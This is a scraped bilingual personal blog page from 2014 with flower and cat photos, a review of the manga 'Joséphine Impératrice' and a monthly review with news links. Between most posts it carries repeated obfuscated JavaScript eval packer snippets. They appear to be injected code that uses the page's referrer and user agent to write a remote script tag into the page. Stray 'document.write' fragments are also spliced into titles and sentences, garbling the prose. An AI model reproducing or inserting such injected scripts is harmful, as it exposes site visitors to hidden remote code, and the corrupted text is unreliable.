Hé! Hé! J’suis caché! / Hey! Hey! I’m hidden!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szeib|var|u0026u|referrer|ankak||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aknhd|var|u0026u|referrer|fastz||js|php’.split(‘|’),0,{}))
2014-04-27
<a href="https://www.flickr.com/photos/clodjee/14136896960" target="“new”" title="Hidden? by Clodjee Pelletier, document.write(“”); on Flickr”>
Month: May 2014
L’image du mer-fleurie
Ranunculaceae : Aquilegia : Aquilegia vulgaris
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzsrh|var|u0026u|referrer|kzadi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kidhf|var|u0026u|referrer|iinty||js|php’.split(‘|’),0,{}))
Ancolie commune / Common columbine
Mon jardin / my garden (2014-05-26)
<a href="https://www.flickr.com/photos/clodjee/14100739320" target="“new”" title="Columbine by Clodjee Pelletier, document.write(“”); on Flickr”>
Mauve / Purple
Blanche / White
Rose / Pink
L’image du chat-medi / Cat-urday’s picture
Saya pacha (2014-05-04)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahtnt|var|u0026u|referrer|kyrtr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfkky|var|u0026u|referrer|bedre||js|php’.split(‘|’),0,{}))
<a href="https://www.flickr.com/photos/clodjee/14073896517" title="Saya pacha by Clodjee Pelletier, document.write(“”); on Flickr”>
Joséphine Impératrice (1)
“Impératrice de charme au cœur d’or ! Nous sommes au XVIIIe siècle sur l’île de la Martinique. La jeune Rose Tascher de la Pagerie grandit entourée d’une famille aimante. En 1779, document.write(“”); à 16 ans, elle quitte son île et sa famille pour Paris où elle épouse Alexandre, vicomte de Beauharnais. Commence alors pour la jeune fille un dur apprentissage de la vie, entre un mari volage qui la délaisse et l’isolement dans un pays qu’elle ne connaît pas ! La jeune femme s’endurcit sans jamais se départir de la bonté et de la générosité qui la caractérise. Elle va bientôt reconquérir sa liberté et son indépendance, mais déjà, les prémices de la Révolution grondent…” [ Texte du site de l’éditeur ]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdsbs|var|u0026u|referrer|ebffr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|erznr|var|u0026u|referrer|rirdz||js|php’.split(‘|’),0,{}))
“La petite Rose naît en 1763 dans une famille noble mais pauvre de la Martinique, alors colonie française. Un jour, une voyante lui prédit que son destin sera « plus grand que celui d’une reine ». Peu après, elle s’embarque pour la métropole et arrive à Paris. C’est le début d’une grande aventure… La vie tumultueuse et passionnée de Joséphine de Beauharnais, qui devint la femme de Napoléon et l’impératrice des Français ! Volume 1 / 4.” [ Texte de la couverture arrière ]
Continuez après le saut de page >>
ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir elle-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et ne devraient poursuivre qu’avec circonspection.
J’ai découvert ce manga en novembre de l’an dernier mais il m’a fallut du temps avant de pouvoir mettre la main dessus et le lire. Joséphine Impératrice (?????????? / Bara no Josephine / lit. “Les roses de Joséphine”) est un manga sh?jo romantique et historique écrit par Kaoru Ochiai et illustré par Yumiko Igarashi. Prépublié en feuilletons dans Princess Gold, le magazine mensuel sh?jo de Akita Shoten, entre septembre 2011 et décembre 2013, il a été compilé en un premier volume en mai 2012 et le quatrième (et dernier) volume est paru en avril 2014. Il a été traduit en français chez Pika Éditions au début octobre 2013. Un second volume a suivi à la fin octobre, puis un troisième en mars 2014. Finalement, le quatrième volume français paraîtra en juillet 2014. Un extrait de trente-six pages du premier volume est disponible sur le site de Pika Édition. [Ci-contre: page 85]
Le scénariste, Kaoru Ochiai, ne semble pas très connu (même au Japon) et, comme c’est le cas la plupart du temps pour les manga, c’est la dessinatrice qui est la véritable vedette. Même si Yumiko Igarashi n’est né qu’en août 1950, on l’inclut parfois parmi les membres du Groupe de l’an 24 (des femmes mangaka très innovatrices, toutes nées en l’an 24 de l’ère Sh?wa [1949]) mais le fait demeure qu’elle fait partie de la même génération que les Moto Hagio, Riyoko Ikeda, Yumiko ?shima, Keiko Takemiya ou Ry?ko Yamagishi. Elle est surtout connue en occident pour ses manga Candy Candy et Georgie. L’éditeur français a rendu disponible sur Youtube (et sous-titré) un bref interview avec la mangaka où elle nous présente son dernier projet:

En 1777, le marquis de la Ferté-Beauharnais (gouverneur général des Antilles françaises et amant de Désirée, la soeur de Joseph-Gaspard) propose de marier son fils de dix-sept ans, le vicomte Alexandre de Beauharnais, à Catherine mais celle-ci meurt de la tuberculose. À sa place, il est décidé qu’il épousera plutôt Rose, qui a alors seize ans. Rose part donc pour Paris (elle amène avec elle Agathon pour lui servir de domestique) et le mariage est célébré le 13 décembre 1779 [ci-contre: page 79]. Elle tombe rapidement enceinte d’un fils (en 1781), Eugène, et puis d’une fille (en 1783), Hortense.
Elle croit brièvement qu’Alexandre est cet homme que la voyante lui a prédit qu’elle rencontrerait mais elle se trompe. Alexandre ne l’aime pas et passe la plupart de son temps avec madame de la Touche, sa maîtresse. Le couple se sépare donc. Alors qu’Agathon devient le précepteur des enfants, Rose passe près de deux ans à l’abbaye de Penthemont, où elle apprend ce que toute femme de bonne société doit savoir. Puis, elle revient vivre avec Monsieur de Beauharnais à Fontainebleau, où elle espère rencontrer de nombreux jeunes hommes. Mais le spectre de la révolution gronde…
Extrait des pages 82-83: le lendemain du mariage
Ce manga me rappelle un peu La rose de Versailles de Riyoko Ikeda, qui se déroule à la même époque et qui, en abordant le personnage de Marie-Antoinette, traite aussi des prémices de la révolution française. Peut-être qu’avec le titre original de Bara no Josephine Yumiko Igarashi fait-elle un clin d’oeil à celui de Versailles no Bara, mais le titre fait plus clairement référence au nom même de Rose et à l’intérêt qu’elle portait à la botanique et plus particulièrement à la culture des roses (dont au moins trois variétés seront nommées en son honneur).
Aussi, l’opposition assez marquée entre le récit très sérieux et le style de dessin plutôt comique me rappelle beaucoup Osamu Tezuka, chez qui l’on retrouve la même opposition (pourrait-on parler ici de technique narrative?). Ceci place donc le manga à la limite entre le sh?jo (manga pour jeunes filles) de par son style et le josei (manga pour femmes adultes) de par son histoire tout de même assez sérieuse.
Le récit, qui nous offre une histoire à la fois romantique et historique, est excellent. J’espère qu’il va intéresser les jeunes lecteurs à l’histoire de France. A noter d’ailleurs que, malgré la superbe illustration de couverture (répétée dans les pages 4-5) qui reprend la célèbre peinture du Sacre de Napoléon par Jacques-Louis David, Napoléon est absolument absent de ce volume.
Le style graphique du manga est assez bon: si les expressions exagérées des personnages sont généralement dans l’ordre du comique (caricatural), il offre tout de même de temps en temps des arrières-plans très détaillés. Il s’agit ici d’un excellent exemple de style sh?jo classique (un peu comme Sailor Moon): personnages aux grand yeux rêveurs, arrière-plans floraux ou étoilés, beaucoup d’attention porté au coiffures et aux vêtements, etc. D’ailleurs, l’auteur (Igarashi) le dit elle-même: “des robes, des dentelles et des roses : un univers rempli de tout ce que j’aime !”
J’adore les manga historiques et celui-ci ne m’a pas déçu. J’ai bien hâte de voir où Joséphine Impératrice nous mènera (et de voir quand Napoléon y fera son apparition). Je le recommande donc vivement.
Joséphine Impératrice, vol. 1, écrit par Kaoru Ochiai et illustré par Yumiko Igarashi. Boulogne, Pika Éditions, octobre 2013. 192 pages, N & B, 11.5 x 18.0 x 1.4 cm, 7,50 € / $12.95 Can, ISBN 978-2-8116-1263-4. Sens de lecture original japonais. Recommandé pour adolescents (12+).
Pour plus d’information vous pouvez consulter les sites suivants:
Bara no Josephine, vol. 1 © Yumiko Igarashi & Kaoru Ochiai / Visions 2012. All rights reserved. © 2013 Pika Éditions pour la présente édition française.
[ Translate ]
L’image du mer-fleurie
Rosaceae : Rosa “Henry Kelsey”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ziyif|var|u0026u|referrer|kfzbh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsyiz|var|u0026u|referrer|bbdyh||js|php’.split(‘|’),0,{}))
Rosier kordesii / Kordesii rose
Jardin botanique / Botanical garden (2013-06-18)
<a href="https://www.flickr.com/photos/clodjee/14234697351" target="“new”" title="Kordesii rose by Clodjee Pelletier, document.write(“”); on Flickr”>
L’image du chat-medi / cat-urday’s picture
Move over; I wanna see too!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkybr|var|u0026u|referrer|dhhii||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|takkk|var|u0026u|referrer|esifb||js|php’.split(‘|’),0,{}))
Tasse-toi, document.write(“”); je veux voir!
(2014-05-17)
L’image du mer-fleurie
Rosaceae : Rosa “Caramella”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbayy|var|u0026u|referrer|tasyz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szrsn|var|u0026u|referrer|hnshz||js|php’.split(‘|’),0,{}))
Rosier hybride de thé / Hybrid tea rose
Jardin botanique / Botanical garden (2013-06-18)
<a href="https://www.flickr.com/photos/clodjee/14022364737" target="“new”" title="Caramella by Clodjee Pelletier, document.write(“”); on Flickr”>
L’Image du chat-medi / Cat-urday’s picture
Ummm… What can I do to get rid of this pesky camera?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khirs|var|u0026u|referrer|tdekf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ankff|var|u0026u|referrer|ariyh||js|php’.split(‘|’),0,{}))
<a href="https://www.flickr.com/photos/clodjee/13977133958" title="Ummm by Clodjee Pelletier, document.write(“”); on Flickr”>
Roar !
(or yawn…)
(Caramel, 2014-04-20)
[ Traduire ]
L’image du mer-fleurie
Rosaceae : Rosa “Pink Peace”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nddhd|var|u0026u|referrer|zfdbb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndzzt|var|u0026u|referrer|shtes||js|php’.split(‘|’),0,{}))
Rosier hybride de thé / Hybrid tea rose
Jardin botanique / Botanical garden (2013-06-18)
<a href="https://www.flickr.com/photos/clodjee/14125240204" target="“new”" title="Pink Peace by Clodjee Pelletier, document.write(“”); on Flickr”>
April in review
April was a boring, document.write(“”); rainy month. It was still a little depressing, but we felt spring was on its way although it never really got here fully. It is still a little colder than seasonal temperature. By mid-April we still had freezing temperature and a little snow fall. I felt sad. I still feel I need some change so I applied (several times) to work in another library and waited all month for results. I am still waiting. I hope it will work. I don’t know what I’ll do if it doesn’t…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nikbz|var|u0026u|referrer|ssfke||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdyfk|var|u0026u|referrer|ytnyy||js|php’.split(‘|’),0,{}))
On the domestic side, with slightly warmer temperature there was a lot to do around the house (spring cleaning, preparing the garden) and many things to organize (medical check-ups, update financial records, using the income tax returns to replace and update household appliances, etc). So it kept me busy. I didn’t write much (just one book comment, on a manga about Freud). It is frustrating to have so many ideas, so many words in my mind that I could write and not enough time to do so… I went to a book sale and found lots of books (many manga) for really cheap. We’ve finally found someone (a shelter) to take the last of the kittens we’ve rescued this winter. I’m so glad that we found places for them, but I was also a little sad to see them leave. However, I kept one and his playfulness, his cuteness, fill me with joy. I’ve seen something really strange one night right after sunset: a swarm of seagulls noisily turning and pulsating into the clouds. Not long after, we got the first thunderstorm of the year…
In the news, provincial elections brought back a liberal government, the Ukrainian situation continues, they still haven’t found the Malaysian plane, and a South Korean ferry sank killing lots of children from the same school. You’ll find over an hundred links to some news stories that I found interesting — just after the jump:
Anime & Manga related, Japan, Popular Culture
- Top 300 Graphic Novels for March 2014 (ICv2)
- ‘The Heroic Legend of Arslan’ Manga Adaptation by ‘FMA’ Creator (ICv2)
- Harvard students learn about Apple’s history through manga (Engadget)
- ComiXology is being bought by Amazon (TUAW)
- How ComiXology Became The iTunes Of Comic Books (Cult of Mac)
- ‘Attack on Titan’ Comes to Toonami and home video (ICv2)
- Amazon’s ComiXology Acquisition Has Some Readers Concerned (Forbes)
- The 2014 Eisner Award Nominees (ICv2)
- Yen Press Announces New ‘Light Novel’ Imprint (ICv2)
- Amazon-Owned ComiXology Removes In-App Purchases From Its iOS App (MacTrast)
- May 2014 New Manga Releases (Suvudu)
- Du manga dans les steppes (Le Monde)
- Damned ! De la BD à la British Library ! (Le Monde)
- More ‘Robotech RPG Tactics’ Delays (ICv2)
Apple, apps and mobile devices news
- How to Teach iOS Autocorrect New Words (iPhone Life)
- Videoshop is an excellent video editor for iOS (TUAW)
- How To Setup a Geofenced Reminder on Your iOS Device (MacTrast)
- How to use Apple TV: The ultimate guide (iMore)
- A&E and History Channel add live TV stream in iOS apps (9 to 5 Mac)
- InDesign alternatives for Mac: Can anything unseat Adobe for page layout? (iMore)
- 10-second setup lets Siri control Nest, lighting and more via web app (9 to 5 Mac)
- Apple opens OS X beta program to the public for 10.9.3 (Ars technica)
- Apple Releases AirPort Extreme and Time Capsule Firmware Update 7.7.3 With Heartbleed Fix (Mac Rumors)
- iOS 7.1.1 now available, improves Touch ID, fixes keyboard issues (TUAW)
- Apple’s Early Years Gets The Manga Treatment In New Comic Series (Cult of Mac)
- How to get beta seeds of OSX for your iMac and Macbooks (Cult of Mac)
Books, Digital Edition & Libraries
- How US libraries are becoming community problem solvers (The Guardian)
- A Plea to Book Designers: InDesign Is Not a Linotype Machine (Huffington Post)
- Paper vs digital reading is an exhausted debate (The Guardian)
- Geek the Library — Literally (Huffington Post)
- Books, eBooks Decline in 2013 (ICv2)
- What 21st-century libraries can learn from this 19th-century institution (Quartz)
- Retour des lecteurs dans les librairies? (Le Devoir)
- L’écrivain colombien Gabriel Garcia Marquez est décédé (Le Devoir)
- Author Gabriel García Márquez dies (USA Today)
- La lecture des journaux sur support numérique gagne du terrain (La Presse)
- Deep reading: ‘an island in the sea of technology’ (The Observer)
- 12 Irrefutable, Amazing Reasons We Need More Diversity In Books (Huffington Post)
- How Role-Playing Games Made Me a Better Writer (Huffington Post)
- How Innovation and Technology Are Shaping Libraries of Today (Huffington Post)
- Libraries Working To Bridge The Cultural Divide (Huffington Post)
- Why Every Writer Needs An Author Brand (Huffington Post)
- 7 Big Myths About Libraries (Huffington Post)
- Lire pour minou (La Presse)
- Prix Boréal-Aurora 2014: Lauréats (fractale-framboise)
Economy, Environment & International/U.S. Politics
- U.S. Response to Crimea Worries Japan’s Leaders (NYT)
- The art of George W. Bush (Politico)
- Climat: le monde s’éloigne de la solution (Le Devoir)
- Ebola outbreak in Guinea ‘unprecedented’: MSF (BBC)
- Climate inaction to be ‘catastrophe’ (BBC)
- Boston Marathon Bib Theft On The Rise Due To Social Media (Huffington Post)
- Cancer And Death by Radiation? Not From Fukushima (Forbes)
- Dien Bien Phu: Did the US offer France an A-bomb? (BBC)
- En dix ans, quels prix ont le plus augmenté ? (Le Monde)
- Ukraine: « La menace d’une guerre civile est chaque jour moins farfelue » (Le Monde)
- At Chernobyl, Hints of Nature’s Adaptation (NYT)
Health, home & garden
- Vivre à Montréal avec son animal (PDF)
- Les ondes émises par les téléphones cellulaires sont inoffensives, dit un comité d’experts (Le Devoir)
- L’agrile menace nos frênes (lien, Wikipedia FR & EN)
- 10 objets qu’on ne sait jamais où jeter (L’internaute)
- U.S. Reports First Case of MERS (NBC)
- U.S. one of few countries with rise in maternal deaths (Canoe)
- Adopter un potager en ville : casse-tête ou nécessité? (Gaïa Presse)
- Mass memory and reasoning tests ‘track dementia risk’ (BBC)
- L’arrondissement de Villeray–Saint-Michel–Parc-Extension poursuit ses actions pour lutter contre l’agrile du frêne (Link)
Humour
Local News & National Politics
- Des étudiants anglophones passent à l’offensive (Le Devoir)
- Coderre veut abolir 2700 postes à Montréal (Le Devoir)
- Montréal veut abolir 2700 postes d’ici cinq ans (La Presse)
- Philippe Couillard met le PQ K.-O. (Le Devoir)
- ICI à la tronçonneuse (Le Devoir)
- Jim Flaherty s’éteint (Le Devoir)
- «Décisions difficiles» en vue à Québec (Le Devoir)
- Des tunnels limés pour laisser passer le nouveau métro (Journal de Montréal)
- Limage des tunnels: le DG de la STM rectifie le tir (Métro)
- La surenchère culturelle (Le Devoir)
- Travailleurs diplômés peinant à lire et à compter (Le Devoir)
- Le gouvernement maintient la hausse salariale des fonctionnaires (Le Devoir)
Media, Culture, Entertainment & Society
- RIP Dungeons & Dragons Artist Dave Trampier (Suvudu)
- How can Wikipedia woo women editors? (BBC)
- ‘Game of Thrones’ Renewed for Two More Seasons (ICv2)
- Film brings Pompeii back to life perfectly – and destroys it again (The Observer)
- Bob Hoskins of Roger Rabbit dead at 71 (Chicago Tribune)
- Al Feldstein, who headed Mad magazine, dies (AP)
- We shouldn’t be grammar Nazis (The Telegraph)
- 7 Philosophers You Should Know (And Probably Don’t) (Huffington Post)
- The Bad Grammar awards are prize stupidity (The Guardian)
- 7 Times When A Comma Has Made A MAJOR Difference (Huffington Post)
- Les rappeurs américains ont-ils plus de vocabulaire que Shakespeare ? (Le Monde)
- Pourquoi le code A113 se cache-t-il dans presque tous les films de Pixar ? (Le Monde)
- The Crimson Field: Les séries se tournent vers la Grande Guerre (Le Monde)
Sciences & History
- New technology unwraps mummies’ ancient mysteries (AP)
- Papyrus Referring to Jesus’ Wife Is More Likely Ancient Than Fake, Scientists Say (NYT)
- National Geographic Concludes What Americans Will Look Like in 2050, and It’s Beautiful (PolicyMic)
- Study of Moon’s Atmosphere Ends With Planned Crash (NYT)
- Pompeii “Exposed and Vulnerable” to Neglect and the Elements (NG)
- Ancient Writer’s Tomb, Artifacts Found In Egypt (Huffington Post)
- Le « David » de Michel-Ange menace de s’écrouler (Le Monde)
- Plaidoyer pour le journalisme scientifique (Le Monde)
- 50 momies découvertes dans une nécropole géante (Le Monde)
- L’archéologie de la Grande Guerre (Le Monde)
- Une nouvelle écriture ? (Le Monde)
- Watch the ISS’s View of Earth Live, Right Here, Right Now (Gizmodo, UStream link)
- You can finally watch a live video feed of Earth from space, and it’s awesome (ExtremeTech)
Technology, Gadgets & Internet
- Nest Halts Sales of ‘Protect’ Smoke Alarm Over Safety Concerns (Cult of Mac)
- Windows XP demise gives small business a tech headache (BBC)
- Hackers Trying to Exploit ‘Heartbleed’ Bug, U.S. Officials Warn (NBC)
- Do’s And Don’ts Of Email Writing (Huffington Post)
- LED Tubes Will Make Fluorescents Seem Old-Fashioned (Gizmodo)
Union stuff & Montreal’s libraries
- Bras de fer en vue dans les municipalités (Journal de Montréal)
- ?Les employés municipaux exposés à la violence (Jobboom)
[ Traduire ]